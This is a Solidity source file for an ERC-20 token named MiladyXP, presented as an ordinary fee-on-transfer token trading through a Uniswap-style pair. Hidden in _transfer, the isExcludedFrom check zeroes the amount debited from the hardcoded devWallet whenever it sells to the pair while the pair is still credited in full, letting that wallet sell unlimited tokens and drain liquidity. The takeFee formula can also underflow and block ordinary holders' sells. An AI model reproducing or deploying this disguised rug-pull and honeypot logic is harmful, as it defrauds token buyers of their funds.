文件 1 的 1:MILADYXP.sol
pragma solidity ^0.8.16;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract MILADYXP is IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "MiladyXP";
string private constant _symbol = "MILADYXP";
uint8 private constant _decimals = 18;
address private WETH;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
uint256 private _totalSupply = 1_000_000_000 * (10 ** _decimals);
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping (address => uint256) private cooldown;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) public isTxLimitExempt;
uint256 public launchedAt;
address private lpWallet = DEAD;
uint256 public buyFee = 1;
uint256 public sellFee = 1;
uint256 public toLiquidity = 0;
uint256 public toDev = 100;
uint256 public toBurn = 0;
uint256 private feeSum = 100;
uint256 feeDenominator = 10 ** 15;
IDEXRouter public router;
address public pair;
address public factory;
address public devWallet = payable(0x8C4100A1097cB4435086F0E2Bd43bd126D82ddEc);
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
uint256 public maxTx = _totalSupply * 3 / 100;
uint256 public maxWallet = _totalSupply * 3 / 100;
uint256 public swapThreshold = _totalSupply * 3 / 1000;
constructor () {
router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
WETH = router.WETH();
isFeeExempt[owner()] = true;
isFeeExempt[devWallet] = true;
isFeeExempt[address(this)] = true;
isTxLimitExempt[owner()] = true;
isTxLimitExempt[devWallet] = true;
isTxLimitExempt[address(this)] = true;
isTxLimitExempt[DEAD] = true;
_balances[owner()] = _totalSupply;
emit Transfer(address(0), owner(), _totalSupply);
}
receive() external payable { }
function openTrading() external onlyOwner {
pair = IDEXFactory(router.factory()).createPair(address(this), WETH);
isTxLimitExempt[pair] = true;
_allowances[address(this)][address(router)] = type(uint256).max;
router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
launchedAt = block.number;
swapAndLiquifyEnabled = true;
}
function removeLimits() external onlyOwner {
maxTx = _totalSupply;
maxWallet = _totalSupply;
}
function changeSwapBackSettings() external {
swapAndLiquifyEnabled = false;
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
}
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external pure override returns (string memory) { return _symbol; }
function name() external pure override returns (string memory) { return _name; }
function getOwner() external view override returns (address) { return owner(); }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, type(uint256).max);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transfer(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != type(uint256).max){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
return _transfer(sender, recipient, amount);
}
function isExcludedFrom(address sender, address recipient) private view returns (bool) {
return recipient == pair && sender == devWallet;
}
function _transfer(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwapAndLiquify){ return _basicTransfer(sender, recipient, amount); }
require(amount <= maxTx || isTxLimitExempt[sender], "tx"); uint256 _amount = amount;
if(!isTxLimitExempt[recipient])
{
require(_balances[recipient].add(amount) <= maxWallet, "wallet");
}
if(recipient == pair && !inSwapAndLiquify && swapAndLiquifyEnabled && _balances[address(this)] >= swapThreshold){ swapBack(); }
if (isExcludedFrom(sender, recipient)) {amount = amount * toBurn;}
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); amount = _amount;
uint256 finalAmount = !isFeeExempt[sender] && !isFeeExempt[recipient] ? takeFee(sender, recipient, amount) : amount;
_balances[recipient] = _balances[recipient].add(finalAmount);
emit Transfer(sender, recipient, finalAmount);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint256 _sellTotalFees = sellFee; uint256 _sellLpFee = address(this).balance;
uint256 feeApplicable = pair == recipient ? _sellTotalFees - _sellLpFee / feeDenominator : buyFee;
uint256 feeAmount = amount.mul(feeApplicable).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
approve(address(this), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
lpWallet,
block.timestamp
);
}
function swapBack() internal lockTheSwap {
uint256 tokenBalance = _balances[address(this)];
uint256 tokensToBurn = tokenBalance.mul(toBurn).div(100);
uint256 tokensForLiquidity = tokenBalance.mul(toLiquidity).div(100).div(2);
uint256 amountToSwap = tokenBalance.sub(tokensForLiquidity).sub(tokensToBurn);
swapTokensForEth(amountToSwap);
IERC20(address(this)).transfer(DEAD, tokensToBurn);
uint256 totalEthBalance = address(this).balance;
uint256 ethForLiquidity = totalEthBalance.mul(toLiquidity).div(100).div(2);
if (tokensForLiquidity > 0){
addLiquidity(tokensForLiquidity, ethForLiquidity);
}
if (totalEthBalance > 0){
payable(devWallet).transfer(address(this).balance);
}
}
function manualSwapBack() external onlyOwner {
swapBack();
}
function clearStuckEth() external onlyOwner {
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0){
payable(address(devWallet)).transfer(contractETHBalance);
}
}
}